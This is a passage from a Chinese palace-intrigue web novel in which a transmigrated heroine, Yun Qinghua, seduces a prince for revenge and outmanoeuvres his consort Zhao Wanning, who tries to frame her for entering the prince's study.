飞霜给她梳头时,低低地笑了,“赵婉宁就在玄音阁外面,她这不是自己找罪受?” “我还怕她不来呢。”云清婳轻嗤。 “她的亲亲王爷宠幸您,她怎么舍得不来?”飞霜讽刺。 云清婳真是为赵婉宁感到可悲,明明从小受着现代教育长大,可却为了封建男人,把自己作贱到如此地步。 裴墨染沐浴完,胸膛上的水珠子还没擦干净,便穿着白绸亵衣到了寝房。 此时,床帐已然拉上。 他掀开床帐,云清婳正红着脸蛋,跪坐在榻上,乖巧地等他。 她红绮如花,妖颜若玉,如同一件珍宝。 裴墨染捏捏她的脸蛋,上榻后,轻吻她粉嫩的唇瓣,动作比方才轻柔许多。 “夫君,妾身伤势未愈,您要轻些。”说着,她主动探着脖子,在他唇角亲了一下。 他浑身血液仿佛都在倒流,他哑声道:“本王知道。” 云清婳主动为他宽衣解带,又准备解开自己的亵衣,可裴墨染却握住她的手。 “蛮蛮,别勾了,本王怕控制不住。” 她一愣,就被他扑倒。 …… 云清婳为了复仇,早就做好了心理准备,她并不排斥鱼水之欢,毕竟裴墨染是小说男主,身材跟样貌都没话说。 只是,系在如意钩上的宫铃才响了半盏茶的功夫,一切声音就戛然而止。 裴墨染大窘,云清婳也是懵的。 这跟小说里描述的可不一样…… 难怪赵婉宁一直怀不上,原来不一定是她的问题。 难道是男主只能面对女主才能变得强悍? 思及此,云清婳的眼眸倏地瞪圆,像是发现了裴墨染不得了的秘密。 裴墨染重重喘了口气,他看见云清婳的表情就能猜到她在想什么。 可气! 这小人儿,敢小瞧他! 他的脸涨得通红,“什么表情?” “夫君,叫水吧。”她觉得尴尬,只想转移话题。 “不急。”裴墨染吻住她的唇。 …… 裴墨染是存了报复心思的。 足足叫了三次水。 第27章 心猿意马 晌午过半,若不是乾风在催,裴墨染恐怕还能折腾。 此时,云清婳的喉咙已经哭哑了,她撑起摇摇欲坠的身子,想起身伺候裴墨染穿衣。 裴墨染将她按下,一脸餍足,“不必了,吃了药就快些休息吧。” “没事的。”云清婳的声音都在颤。 裴墨染拗不过她,将衣物拿到床榻上,让她穿。 可穿着穿着,裴墨染就不对劲了,又一次将她扑倒。 云清婳这次是气哭的,她杀了他的心都有了。 门外的赵婉宁隐隐约约能听到声音,她心如火煎,绝望心碎。 裴墨染神情餍足,神清气爽,看到玄音阁外的赵婉宁时,有种煞风景的感觉。 他宠幸蛮蛮何错之有? 她站在这里,是准备“捉奸”不成? “婉宁……”他正欲安慰她。 可赵婉宁转身就跑了。 裴墨染心里不悦。 这不是婉宁一手促成的吗? 她委屈什么? …… 云清婳吃了药便睡下了,连午膳都来不及用。 睡醒时,天边微微泛出绚烂的霞光,将近黄昏了。 她腰酸背疼,沐浴后,飞霜给她检查身体时露出骇人的表情。 “王爷真是太没节制了,三日内,您万不能再侍寝了。”飞霜咋舌。 她心疼地给云清婳上了药。 云清婳的黛眉微拧,眼底酝酿着阴沉,“我怀疑,裴墨染跟赵婉宁没有圆过房。” 方才,裴墨染的表现很青涩…… “啊?”飞霜的杏眸圆睁。 她颔首,“看来,赵婉宁的病,比我们想的还严重。” 飞霜扑哧笑出声,“一个女人好端端的,怎会得这么严重的病?她莫不是背着王爷做了下三滥的事?” 云清婳觑了她一眼,眼底无波。 姐姐说过,这个世道,女子处境已经很艰难了,应该互帮互助,万不能以最坏的恶意揣度女子。 “但愿吧。”云清婳的嘴角阴恻恻地勾起,“快让人查出来。” “是。”飞霜端起碗,喂她喝党参鸡汤。 …… 清心阁。 赵婉宁满脸都是眼泪,她在房中一顿打砸,直到耗尽力气了瘫倒在地。 “王爷怎么可以这么对我?明明他说过,只会爱我一人的……都是云清婳,都怪她!”赵婉宁心如刀割,眼泪扑簌簌地落。 宝音心疼地扶她起身,咒骂道:“王妃,您何必跟贱人一般见识?咱们的人一直在给她下药,等您跟王爷圆房,怀了嫡子,云清婳恐怕早就归西了。” “我等不了了!云清婳怎配碰我的东西?”赵婉宁的牙齿磨得咯吱作响,手攥成了拳。 宝音的眼珠子滴溜溜一转,“王妃,若是王爷厌弃了贱人,她再骚浪,王爷也只会倒胃口。” 赵婉宁挑眉,“你有办法?” “倘若云清婳触及了王爷的底线呢?”宝音晦涩地说。 赵婉宁的眼睛瞬间被点燃,她颔首,神色透着阴险,“下去领赏吧。” “多谢王妃。”宝音笑得见牙不见眼。 黄昏后,裴墨染还是心含愧意地去了清心阁。 赵婉宁的双眼肿得像一对桃子,强打起精神看着他,“王爷,我还以为你把我忘了。” 太后这个老虔婆说得对,任性、闹脾气只会把王爷越推越远,所以她决定以退为进。 裴墨染心下诧异,他还以为赵婉宁又要闹脾气,没成想她却变得乖顺了。 他的愧意达到了顶峰,他怜惜道:“怎会?婉宁,你的好,本王都记在心里,没人会越过你。” 这话让赵婉宁很窝心。 是啊。 事已至此,只要最后能登上凤位,过程如何,已经不重要了。 “王爷,有你这句话,我什么都不怕了。”赵婉宁倚靠在他的怀里。 一股浓重的脂粉气袭来,但裴墨染沉郁的心情还是得到舒缓。 婉宁能想通,这样最好。 见赵婉宁没有让他留宿的意思,裴墨染便离开了。 他恼火于赵婉宁的洁癖,但他绝不会逼迫她圆房,他不喜欢强迫。 …… 裴墨染径自去了玄音阁。 今日办公时,他的脑袋里全是蛮蛮在床榻上眼尾噙泪,娇啼求饶的模样,害他心猿意马,频频走神。 踏进院中,他示意婢女不要张扬。 寝房内,云清婳正散着髻,穿着白绸亵衣,光脚倚靠在贵妃榻上,一手捻着点心,一手捏着话本子。 “蛮蛮。”裴墨染走进门内。 他故意挤到云清婳身旁坐下,瞥了眼她手里的志怪话本子,揶揄道:“第一贵女就看这个?” 云清婳差点被他从贵妃榻上挤下去,她娇憨地瞪他,“夫君,您又欺负人。” 他长臂一伸,勾着她的细腰,将人搂进怀里。 裴墨染承认自己好像是有点欠,的确喜欢捉弄她,看她恼火。 “本王哪舍得欺负你?嗯?”他垂首,将脸埋在她的颈间,嗅着她脖颈间的清香。 云清婳懒得搭理他。 她权当做狗发情了。 裴墨染觉得她香软得像是糯米团子,让人想咬一口,他已经在酝酿等会儿怎么欺负了。 飞霜眉眼弯弯地告状:“王爷,您看主子,这两个月贪吃糕点,胖了不少,衣物都短了。” 他认真打量起云清婳,她的袖口的确短了一截,“蛮蛮不是胖了,是长高了。明日让绣娘给你重新量身子,衣物全部重做。” “还是夫君说话好听!”云清婳双眼润泽,亮晶晶地看着他。 裴墨染对上她的眸,心脏轻颤,他的喉结上下滚动,立即去了浴室。 沐浴完毕,他屏退了飞霜,二话不说就将云清婳打横抱起。 啪嗒—— 话本子全掉到了地上。 她急得脚凌空蹬了下,“话本子我还没看完呢。” “本王的书房里有许多,你喜欢就去拿。” 裴墨染将她放在榻上,双眼炙热得吓人,仿佛要把她的身子盯出一对窟窿。 云清婳不安地往角落躲,她抱膝,羞涩地说:“夫君,您把妾身弄伤了,不能再继续了。” 他上榻后,蹙眉道:“晌午还是好好的。” “会坏的。”她声如蚊讷,脸红的仿佛要泣血。 裴墨染的眸色一黯,但看到床边的小几上的确放了小药罐,忽地,他的嘴角噙笑,“蛮蛮,本王为你上药。” 云清婳咬着唇,羞愤得恨不得找条地缝钻进去,“已经上过了。” “本王为你上药,你还嫌弃不成?”他佯装生气。 云清婳在心里痛骂狗男人。 要不要脸啊? 她眼中含泪,羞得快哭出来,让人好不心疼,她捂着脸躺下了。 明明是简单的上药,可裴墨染却磨磨唧唧的上了半刻钟。 第28章 裴墨染心动,温柔缱绻! 最后云清婳假装伤口疼,他才收手。 夜半,裴墨染搂着云清婳,手还不老实地探进她的亵衣。 云清婳很想把他踹下床榻,可为了增进感情,还是作罢。 她咬着下唇,小脸拧着,面色痛苦。 “怎么了?”裴墨染很快发现了不对,剑眉蹙起。 云清婳双颊一红,磕磕绊绊道:“糕点吃多了,肚子疼……” “这是积食了。”裴墨染将手挪到她的腹部轻揉,“以后晚上不准再吃这么多糕点了,又不是小孩子。” 她欲言又止,乖巧地应声。 忽地,裴墨染的唇上突然压上了温软的触感。 一阵奇妙的酥麻感传遍四肢百骸直达天灵盖,他的心也跟着悸动。 “夫君对妾身真好。”云清婳的杏眼澄澈,真挚单纯。 裴墨染的眸色暗淡,他托着她的脑袋,吻得难舍难分。 今天的吻,分外黏糊,温柔缱绻。 云清婳的眼尾上翘,神色得意。 但凭裴墨染的反应可以确定,他绝对动心了,只是分量还不算多。 …… 翌日,云清婳亲自为裴墨染穿好衣物,送他离开。 “王爷恕罪,妾身昨日惫懒了,稍后就去给王妃请安。”云清婳的面颊通红。 圆房后,按照规矩,妾室是要给正妃请安的。 裴墨染唇角上扬,昨天折腾到了晌午,的确不便请安。 “无事,今日补上即可。”裴墨染像是突然想起什么,他回身交代,“蛮蛮,想看话本子,就让管家拿给你。” 一觉睡醒,他就后悔了。 因为他清晰地意识到,色令智昏! 他对眼前人不知不觉卸下了防备。 女人怎能进他的书房? 就算婉宁也不可以! 这么多年,他脑袋里一直紧绷着一根弦。 可面对云清婳,紧绷着的弦,居然在不知不觉中松动。 他讨厌这种感觉。 “是。”云清婳福身。 她当然不会去借什么话本子,男人哄她的时候,自然什么都肯答应,但万一书房丢了什么,他定会第一时间怀疑她。 裴墨染脸上的线条紧绷,他俯下身想在她的颊边落下一吻,可好像想到什么,冷淡地拂袖而去。 “有病吧?主子,今晚您可得给他点颜色看看。”飞霜低声埋怨。 云清婳玩味地挑眉,就像猫逗老鼠,“不必了,后面很长一段时间,他都不会来了。” 因为狗男人害怕动心,害怕为了女人沉沦。 不过这也是好事,这让她看清了,裴墨染就算对赵婉宁也没拿出全部真心。 “啊?”飞霜揉了揉后脑勺,有些摸不着头脑。 …… 果然,之后的半个月,裴墨染几乎每日都宿在军廨,就算回府也只去清心阁陪赵婉宁。 府中下人看出云清婳失宠,有人怜悯也有人幸灾乐祸,更有人见风使舵,故意给玄音阁使绊子。 云清婳对外一副黯然神伤的模样,可在内却是优哉游哉。 狗男人想通过逃避防止动心是吗? 马上就收拾你! 清心阁。 赵婉宁捧着药碗,拧着眉头一饮而尽,“王爷最近来得勤,我要快快养好身子,早日圆房。” 宝音拿着熏香炉,往她衣裙上熏,“王爷果然还是疼爱王妃的,云清婳就是个泄欲的玩意儿,用了几次,就不用了呵呵……” “呵……”赵婉宁心底的阴霾一扫而空,美目含着杀气,“既然她失宠了,就一招把她按死,免得再出来恶心人。” “王妃放心,贱人必会上钩。”宝音势在必得。 正说着,门被推开。 裴墨染来了。 他一进门就闻到了浓重的脂粉气以及说不出的熏香味,简直熏得他头疼。 在玄音阁,寝房的气味都是清新的芳草香,让人心旷神怡。 云清婳身上也都是淡淡的香气。 裴墨染心烦地斥道:“怎么又是这股味道?把门窗打开。” “是。”宝音立即打开窗子。 赵婉宁面露尴尬,她上前挽着他的胳膊,“下次我不用了……” “陪本王去院子里走走。”他牵着赵婉宁的手,大步流星地逃离寝殿。 他的头疼这才得以缓解。 站在芳草荫绿的庭院中,裴墨染的心逐渐平静。 果然,云清婳也没什么特殊的。 一定是因为她是他临幸的第一个女人,所以他才会有所松懈。 他没有对云清婳陷进去,毕竟,婉宁陪在身边,他也很舒心不是吗? 不远处的天上,飞着几只纸鸢。 裴墨染望着纸鸢,陷入回忆。 片刻后,他柔声道:“婉宁,改日本王带你去放纸鸢如何?” 赵婉宁不屑的轻笑,“王爷,这是贱民才玩的玩意儿,有什么意思?” “……”裴墨染的唇抿成了一字,让人看不出情绪好坏。 “京中贵人玩的都是马球、投壶、冰嬉,我最喜欢冰嬉,可惜京中不如西北,只有冬日短短几日能滑。”语毕,赵婉宁故意长叹一声。 她想要激起身边人的愧疚:看,我放弃了在西北自由肆意的日子,陪你卷入波澜诡谲、规矩繁复的京城。 赵婉宁丝毫没注意到裴墨染森冷的脸,她还想说,可裴墨染甩袖而去。 她看着裴墨染的背影,不由得凝眉,“我说错什么了吗?” 宝音心累地叹气,“王妃,您怎能拒绝王爷?” “可是我以前就是如此,从来不必讨好他,他还夸我真性情。”赵婉宁也有些生气。 但她知道,这不能怪裴墨染。 要怪就怪云清婳这个贱人,是她的卑躬屈膝、谄媚讨好,让裴墨染乐在其中。 是云清婳带坏了裴墨染! …… 裴墨染经过花园时,正巧看见云清婳的几个婢女正在放纸鸢。 云清婳坐在一旁的石桌上喝茶,小脸上挂着汗,双颊绯红,明显才玩完一轮。 半个月未见,裴墨染看到她,还是忍不住驻目。 等他想收回视线时,云清婳已经发现他了。 “夫君。”云清婳款款一笑,欠身福礼。 偷窥被抓住,裴墨染自如地掩饰住了尴尬,他熟稔地促狭:“第一贵女就在花园里嬉闹、放风筝?” 云清婳俏皮地辩道:“妾身听不懂夫君的话,这几个丫头年岁尚小,妾身心疼她们,带她们出来玩罢了。” 裴墨染颔首,他忽然起了捉弄她的心思,“如此甚好,既然不是蛮蛮的纸鸢,稍后便焚了吧,婢女不可带玩物入府,莫要坏了规矩。” 几个婢女毫不担心,主子只要撒撒娇,什么事就没有了。 主子最会拿捏王爷了。 第29章 王爷,休了云清婳! 可云清婳的眼圈红了,眼泪在眼眶打转,她福身,“全凭王爷处置,妾身告退。” 她将纸鸢丢到地上,抹着眼泪,颤着肩膀离开了。 裴墨染的心像是压了块巨石,一口气堵在胸口,顺不上来。 他想追去玄音阁,可最终还是出府。 他必须得克制! …… 云清婳一回玄音阁,几个婢女便急急忙忙小跑过来,七嘴八舌道:“主子,不好了,狗丢了。” “奴婢喂它吃了羊乳,正准备端水给它擦洗,转眼就没了。”婢女抽抽噎噎地哭了出来。 “无妨,快去找就是。”云清婳瞥着角落里的婢女素问,脸上划过一丝玩味。 她递给飞霜一个眼神。 飞霜小声道:“狗被素问引去书房了。” 赵婉宁一直在她们身边布置眼线,殊不知,全府上下,她们也安插了不少暗棋。 云清婳的眸子隐隐透着兴奋。 赵婉宁就这么迫不及待想一招按死她? 好,那就如她所愿。 “帮我找个人。”她在飞霜耳边说了什么,随后吩咐,“大家分头找吧,若是内宅都没找到,就向王妃明情,王妃定会相助。” “是。”众婢女福身。 语毕,云清婳步履生风地走向书房的方向。 飞霜的心突突直跳,她小跑着追上去,“主子,您跟王爷还没和好,这会不会太冒险了?书房乃是重地,就算没有机密,也不可擅闯啊。” 云清婳递出去一个安心的眼神,“放心吧。” 书房重地,外人不可进。 尽管裴墨染甚少将公务带回书房处理,但门外也会安排一人把守。 可今日,书房附近不见半个人影。 显然,这是赵婉宁为她创造的机会。 门内传来小奶狗焦急的叫声。 云清婳推门而入…… 抄手游廊中,宝音看到这一幕,兴奋地奔回清心阁。 …… 晚上,云清婳才躺在榻上。 砰—— 门忽然被踹开。 裴墨染大走跨进门中,他脸上的线条紧绷,凸出的眉骨为深邃的桃花眼落下一片阴影,让他整个人显得愈发阴鸷暴戾。 赵婉宁走在后面,一脸盛气凌人。 “云清婳!你该当何罪?”男人的声音低沉森冷,似乎要把她冻住。 云清婳的眸子一震,她忙不迭下榻,俯身跪着。 她的鼻尖泛着淡淡的粉,显然已经哭过一遭,她哑声问:“妾身……又做错了什么吗?” 脆弱却倔强,宛若风雨飘零的小白花。 可裴墨染的眼神如同一把利刃,刺进她单薄的娇躯,“本王不是交代过,不准进书房吗?你为何违抗本王的命令?” “王爷恕罪,妾身不该为了找狗,擅自闯进书房,只是事态紧急,来不及知会管家……”她坚强地仰起脸,磊落的跟他对视。 四目相对,裴墨染却怒火更甚。 她看起来真挚单纯,不藏一丝虚假。 可这些居然都是装的! 他被她骗了! 裴墨染鬓角的青筋鼓起,他怒吼:“你还嘴硬!本王的书桌、抽屉被翻找过!今日只有你进去过,你究竟想找什么?” 云清婳吓得身子一抖,脸失了血色,眼睛再也包不住眼泪,她呜呜咽咽地哭了。 “云妹妹,你找狗怎么找到书桌上,抽屉里了?真是可笑!”赵婉宁嘲讽。 “王妃何必咄咄逼人?我抱了狗便走了,书桌抽屉被动过,与我何干?”云清婳凄凄地趴在地上,泣不成声。 “本王再给你一次机会,你究竟想要找什么?交给谁?”裴墨染的心口像是堵了瘀血,憋得他快要疯了。 按照习惯,他此刻就该拔剑,砍下她的脑袋。 可他却不愿这么做,甚至心里的失望比怒意、恨意更多。 赵婉宁冷笑,“王爷何必跟她废话?这种贱人,就该休了,再把她当夜丢回云府大门!” “……”裴墨染没有应声。 闻言,云清婳忽地支起了脖子。 她双目通红地望着站在面前高高在上的男人,心如刀割地问:“王爷,您当真要休了妾身?您当真以为妾身是细作?” 裴墨染的眼眸微眯,似在鉴别她所言的真伪。 “贱人!你有何脸面质问王爷?谁知你背叛王爷,是不是与府外之人有了苟且?”赵婉宁抬着下巴,就像在看一滩污秽。 “呵……”云清婳冷不丁笑了,她双眼晦暗,毫无生气,“既然王爷心中已有论断,妾身多说无益,唯有以死明志!” 她取下髻上的簪子,以迅雷不及掩耳之势朝脖颈刺去。 可裴墨染的速度更快,他快准狠地扼住云清婳的手,眸中闪过慌乱。 “王爷何必阻拦?贱人宁愿死也要为奸夫保密,随她去吧。”赵婉宁刻毒地说。 裴墨染不悦地瞥了赵婉宁一眼,“住口!她若死了,本王怎么给云家交代?” 赵婉宁闻言,娇羞地笑了。 她还以为裴墨染心软了。 “呜呜……”云清婳的泪如同珍珠般颗颗坠落,她对着裴墨染露出了哭泣时最唯美的角度。 本来一句话可以说清的事,她就是不解释。 这就是感情拉扯的精髓。 裴墨染的心莫名地抽痛了一下。 “王爷,不如今晚就写下休书吧?免得她自戕,赖了上您。”赵婉宁催促。 裴墨染本就心烦意乱,赵婉宁还不断添油加醋,他正欲发火,一位四十岁上下的嬷嬷跑了进来。 “王爷,不可啊,不可啊……”万嬷嬷气喘吁吁。 “万嬷嬷?”裴墨染眼中的冰霜,在看到她的一刻瞬间瓦解。 万嬷嬷是裴墨染的奶娘,是裴墨染在这世上少有的信赖之人。 裴墨染立府后,便带着万嬷嬷出宫,让她在王府养老。 “王爷,云侧妃谨慎,今日她进书房找狗前,发现书房左右没人看守,就怕生了误会,所以特意请了老奴去看。 老奴到的时候,书房还是齐整的,云侧妃为了避嫌,还非要让老奴搜身,当时好几个管事也在。”万嬷嬷看着云清婳,满脸都是心疼。 裴墨染的瞳仁一缩,手不受控地轻颤,他忙不迭松开云清婳的手腕。 他的心像被一只大手揪着,又酸楚又痛。 “蛮蛮……”他愧疚地想要扶她起身。 云清婳避如蛇蝎一般缩回手,她咬着唇,扶着榻晃悠悠地站起来,眼神中带着几分怨气。 裴墨染尴尬地收回手,转而瞥着赵婉宁,“王妃,你方才说话太难听了,本王相信蛮蛮的人品,无论如何她也不会背叛本王,你身为王妃,不要张口闭口拿女子贞洁恐吓。” “我……”赵婉宁气得差点吐出二两血。 第30章 她继续套路 赵婉宁被打了个措手不及,她怨毒地剜了云清婳一眼,“万嬷嬷有证据吗?您莫不是被云清婳收买了?” 万嬷嬷的脸上蕴起薄怒,“王妃,您说这话,真是冤枉老奴了。老奴若是背叛王爷,就遭天打五雷轰……” “万嬷嬷!”裴墨染立即打断她的话,他冷声斥责,“婉宁,万嬷嬷的为人本王相信!你住口!” 赵婉宁被训,不甘地低下了脑袋。 紧接着,乾风前来禀报,“王爷,抓到了!是内院的洒扫婢女望舒干的,属下把她抓去地牢,严刑逼供了一刻钟,她便交代了……” “幕后主使是谁?”裴墨染一字一顿地问。 敢算计玩弄他,他此时杀人的心又起来了! 乾风的眼珠子朝赵婉宁的方向瞟了瞟,“是……清心阁的梳头婢给了望舒一笔钱。” 此话一出,裴墨染的心咯噔一响。 敢从书房下手,污蔑蛮蛮。 这般鲁莽、放肆,一个答案在他心中呼之欲出。 “王爷,我什么都不知道,这贱婢也太大胆了……”赵婉宁的脸腾地涨红,她心虚的腿软。 宝音吓得跪地磕头,脑袋磕碰地板的脆响,听着就疼。“王爷,王妃对您的心天地可鉴啊!莫不是云侧妃跟梳头婢生了不快?” “呵……”云清婳冷不丁自嘲地笑了一声。 裴墨染心烦意乱。 她在笑什么? “王爷,都怪我御下不严,我日后定对下人严加管教。”赵婉宁扯着他的袖子,手不受控地颤抖。 裴墨染甩开她的手,他双目泛着骇人的寒意,厉声道:“梳头婢是吗?即刻杖毙!让清心阁的所有人出来看!日后谁再把手伸到书房,这便是下场!” 此事,已经没有查下去的必要了。 再查下去,凶手只会指向婉宁,而蒙羞的却是他! 他才是真的御下不严,闹出如此笑话。 赵婉宁被他一推,后退几步,险些摔倒,“王爷……” “御下不严,王妃应当自省!”裴墨染的脸色黑沉,周身气压极低。 赵婉宁红着眼,被扶了出去。 屏退众人后,裴墨染看着抹泪的云清婳,是真的心疼了。 “蛮蛮,本王误会你了。”他走上前,手正要搭在她的肩上,可云清婳闪身躲开。 她满眼委屈,语气染上了一丝阴阳怪气的意味,“王爷不是想休了妾身,把妾身丢回云府大门吗?您这又是做什么?” “本王没有答应!这些都是婉宁说的!”裴墨染立即解释,他不愿被她误会。 他这次居然把错主动推给赵婉宁了。 这是云清婳没想到的。 云清婳的唇弯出一抹得体的弧度,她摇摇头,“不重要了!是妾身贪心了,以为只要本分听话,总能得到您的眷顾。今日妾身清醒了,从今往后,妾身会摆正自己的位置。” 裴墨染不知为何,心里有一块空落落的,仿佛有什么东西飘走了。 之前,他从未体验过如此百感交缠的情绪。 他用指腹为她揩去眼角的泪,柔声道:“蛮蛮,不要乱想,本王日后定不再怀疑你!此次是奸人作祟,才害得你与本王离心,现在误会已经解除,方才的事,你忘了好不好?” 云清婳在心里翻白眼。 狗男人除了让她忘记,还会干点什么? 这一次,她要狗男人清晰地意识到,她对他而言就是特殊的。 让他以后不敢再疏远她! “妾身真是被一个梳头婢算计了吗?”云清婳平静地反问。 “蛮蛮!”裴墨染的语气下意识变得严厉,“你不相信本王不成?日后自有本王护你!” 云清婳自如地切换上端庄的笑,顾盼生辉,只是,美得像一具空壳子,“妾身相信王爷。” 裴墨染恨不得撕了她这张假面,可却恼火自己做不到。 他将她抱上榻,为她盖上被褥,跟她倒在一处,“方才吓到了吧?本王陪你。” “蛮蛮这般乖巧,怎会是细作?只是,书房乃军务重地,本王着急了些。” 他絮絮不止地说着,与其说他是在安慰云清婳,不如说他是在给自己辩解。 云清婳阖上眼,假装入睡。 裴墨染自然看出她在装睡,他怕她睡不安稳,缓缓起身离去。 人走后,云清婳倏地睁开双眼。 飞霜端了水进来,给云清婳擦脸,她心疼道:“主子受苦了。” 云清婳的右肩碰着床榻,疼得闷哼。 门外,裴墨染去而折返。 他本想再看看云清婳,没成想就听到了主仆的对话。 飞霜气得将帕子砸进水盆里,溅起了水花,“真是恼人!王爷为何对您冷淡了?骗了您的身子,就不要了,还焚了您的风筝,这也太欺负人了……” 云清婳嘴边漾起苦笑,“别胡说了。万事总有亲疏之分,我可能就是后娘养的吧?” 此话,将裴墨染的心刺得一痛。 他从云清婳的身上看到了幼年的自己。 “还好,悬崖勒马,为时不晚。相处不久,我对王爷的情意还是可以收回的,只要没情意了,就不会痛苦了。”云清婳像是想通了,脸上绽放出轻松的笑。 裴墨染的心一片酸涩,这世上,真心待他的人不多了。 他不愿让她收回真心,她也绝对不能收回! 之前不去见她,只是害怕沉沦于她罢了,他只是想把对她的喜欢控制起来,他何时讨厌过她? 她可真是放肆! 忽的,裴墨染想到什么,冷簌簌地转身离去。 门外彻底安静后,云清婳翻了个大大的白眼,“狗男人!” “您受了这么大的委屈,王爷居然就这样放过了赵婉宁,简直可气!”飞霜咬牙切齿。 她的食指搅着绞鬓边垂下的青丝,媚态丛生,“赵婉宁毕竟是他相识七年的初恋,他怎会为了我,去打赵婉宁的脸?更何况,真相查出来,裴墨染也丢脸。” 肃王府书房遭窃,居然是王妃所为…… 本来等着看裴墨染笑话的人就多,此事传出去,众人只会笑话裴墨染被女人耍得团团转。 “他不在人前处罚赵婉宁,并不代表他会放过赵婉宁。他们之间的信任,此次必会土崩瓦解,我撬开他们的感情指日可待!”她的眼眸幽深。 飞霜想到赵婉宁差点被掀翻,宝音磕得头破血流,心里的气儿才顺了点。“赵婉宁居然敢拿书房做文章,王爷最忌讳女子干政,必不会饶了她!只是,您何时跟王爷和好?” “我要让他失去我,然后发现我对他重要。”想到这里,云清婳忍不住笑了。 狗血小说不都是这样的剧情吗? 男主为了白月光、青梅竹马,百般委屈女主,女主离开后,男主幡然醒悟,追悔莫及。 自古深情留不住,唯有套路得人心! 第31章 心里空落落的 当然,她敢下这步险棋,不是自恋地以为裴墨染已经爱上了她,只是不自知。 而是因为她的价值! 京城第一贵女、云家嫡女跟他离心,他离东宫之位岂不是又远了一步? 她跟云家,可是裴墨染目前夺嫡最大的筹码。 她要的不是跟裴墨染虐恋情深,而是让他以后不敢再逃避,好好接受她的“攻势”。 …… 夜色正浓。 凄厉的哀嚎声响彻清心阁,血流遍地。 裴墨染黑着脸跨进了大门,他的眼中好似淬了冰。 他推门而入的瞬间,砰—— 一个青花瓷瓶朝他的脸直直地砸了过来。 幸好,花瓶偏了,重重落在门框上。 满地都是碎片,由此可见,寝殿的主人有多疯狂。 “啊……”赵婉宁看清来者,心肝差点从嗓子眼跳出来,“王爷,我不是故意的,我没想砸您。” 宝音早就吓得抖成筛子,她跪在地上连连磕头。 裴墨染眼眸微眯,冷冽的气场铺天盖地席卷而来,衣袍上恍若都凝结了冰霜,“婉宁,你糊涂啊!” “王爷,不是我做的,真的不是我!都是贱婢以下犯上,她心疼我被云清婳抢了宠爱,所以才想报复云清婳!”赵婉宁的眼睛一眨不眨地盯着他的双眼,试图获取他的信任。 她知道私闯书房的后果有多严重,知道这是裴墨染的底线。 失望的情绪就像一块浸水的湿布,紧紧地覆在了裴墨染的心上,让他的心不断下沉。 倘若她大大方方地承认了,他反而不会怪她。 “你何时变成了这样?”裴墨染的失望从语气里溢了出来。 婉宁跟蛮蛮钩心斗角,他都可以不计较。 可她怎么敢把手伸到书房? 女人岂可干政? 赵婉宁的心刺痛,再也控制不住自己,“王爷,你对云清婳动心了,所以来给她讨公道了?” 她以手抚膺,激动地大声叫嚷:“今日都是云清婳那个贱人的错!是她算计我!我才是被陷害的,这个贱人心思狠毒,你不要被她骗了啊。今日都是贱人做的局,一切她都算计好了!” 一旁的宝音急得嘴角都快燎起泡了。 王爷明明说的是书房的事,可王妃怎么说起云清婳了? 赵婉宁破口大骂,面目狰狞,比市井泼妇还要凶悍。 这让裴墨染的脑中不由得浮现出另一张娴静温婉的面孔。 “住口!你是本王的王妃,满口粗鄙,岂有丝毫皇家风度?”裴墨染深吸一口气,狠狠掐了下眉心。 他无比的心累,婉宁根本不懂他的意思。 面对蛮蛮时,他说什么,蛮蛮都能听懂弦外之音。 “你怎么可以为了云清婳这么对我?”赵婉宁崩溃地捂脸痛哭起来。 他何时见过她如此狼狈痛哭过? 裴墨染不忍再责备,却也不想哄她,他心烦地拂袖而去,“日后不可再犯。” 赵婉宁腿一软,瘫坐在地,哭得肝肠寸断,“王爷怎么可以这么对我!我为他挡过箭啊。” 宝音连忙给她擦眼泪,解释道:“王妃,王爷不是怪您算计云清婳,他只是气咱们不该用书房来设计云清婳!” “当真?”赵婉宁的哭声变小,热切地看着她。 宝音重重颔首。 正所谓当局者迷,王妃是被云清婳扰乱了心智,所以光顾着针对云清婳了。 “王妃,您可是天生凤命,将来是要母仪天下的,万不能与王爷生了嫌隙。云清婳顶多算只跳蚤,何必与她置气?您要牢牢抓住王爷的心,尽快怀孕啊。”宝音劝道。 赵婉宁也有些后悔方才的失态,她好不容易才害死谢容音,夺得女主的身份。 不能将裴墨染拱手送人。 “贱人不就是会装吗?谁不会?”赵婉宁的表情阴冷,就像吐着信子的毒蛇。 …… 第二日晌午,裴墨染从军廨一赶回王府便去了玄音阁。 今日的玄音阁分外安静。 他嘴角含笑,少年气十足,意气风发地踏入寝殿。 可寝殿一片昏暗,门窗紧闭,没有丝毫人气儿。 “云妃呢?”他蹙眉,不满地问。 婢女福礼,“回王爷,上回太后生辰,主子答应在太后去白鹿山清修前,代太后抄一百遍经,主子今日送经文入宫了。” 裴墨染眼底的失落消散了几分,他回身看着贴身太监手中捧着的硕大的木盒,挤出了一丝笑,“等云妃回府,速去军廨禀报。” 他正欲离开时,恰好瞥见角门的狗窝里空空如也。 裴墨染感觉心上有一块地方空落落的,让他莫名着急,“狗呢?” “主子说,狗喜欢乱跑,留在身边迟早会惹下大祸,所以打算送进宫让贵人养着。”婢女解释。 他的脸色一黯,手缓缓攥成了拳。 她怎么敢擅自把他送的东西转赠? 可除去愤怒,他心中更多的是彷徨,他感觉有什么东西从手掌心溜走了。 裴墨染在军廨等了一下午,可只等到了太后身边的桂嬷嬷。 桂嬷嬷是奉命来传话的。 她福福身,慈祥道:“王爷,太后实在喜欢云妃,特意带云妃一齐去白鹿山祈福。此次太后擅作主张,还望您不要埋怨啊。” “……”裴墨染的脸乌云密布,几乎是从牙缝里挤出一句话,“皇祖母折煞本王了,皇祖母喜欢蛮蛮,是蛮蛮的福气。” 桂嬷嬷在心里暗笑,今日云妃一来,慈宁宫上下就看出云妃受委屈了。 太后这是故意帮二人和好呢。 “老奴告退。” 桂嬷嬷快要踏出门槛时,裴墨染忍不住问:“桂嬷嬷,皇祖母此次要清修多久?” “一个月。”桂嬷嬷回答。 裴墨染的心咯噔一响,他扶着桌案,缓缓坐回檀木椅上,“简直是胡闹!” 诸葛贤浑浊的双眼闪出睿智的光,他拱手道:“老夫斗胆,可是云侧妃又冒犯了王爷?” 他烦闷地将这些日子的事情说了出来。 诸葛贤一听,脸色当即沉了下去,他深深鞠了一躬,“老夫僭越了!敢问王爷雄心焉在?成大事者,心性自坚,逃避乃庸人所为。 云家已与您结为姻亲,您如此岂不是伤了云家的心?更何况,日后会有更多姬妾入府,您都要逃避不成?” 裴墨染的脸色铁青,尽管不满诸葛贤的说教,可他知道,此话不假。“本王受教了。” …… 翌日,云清婳便陪太后到了白鹿山。 皇上特意命裴云澈全程护送。 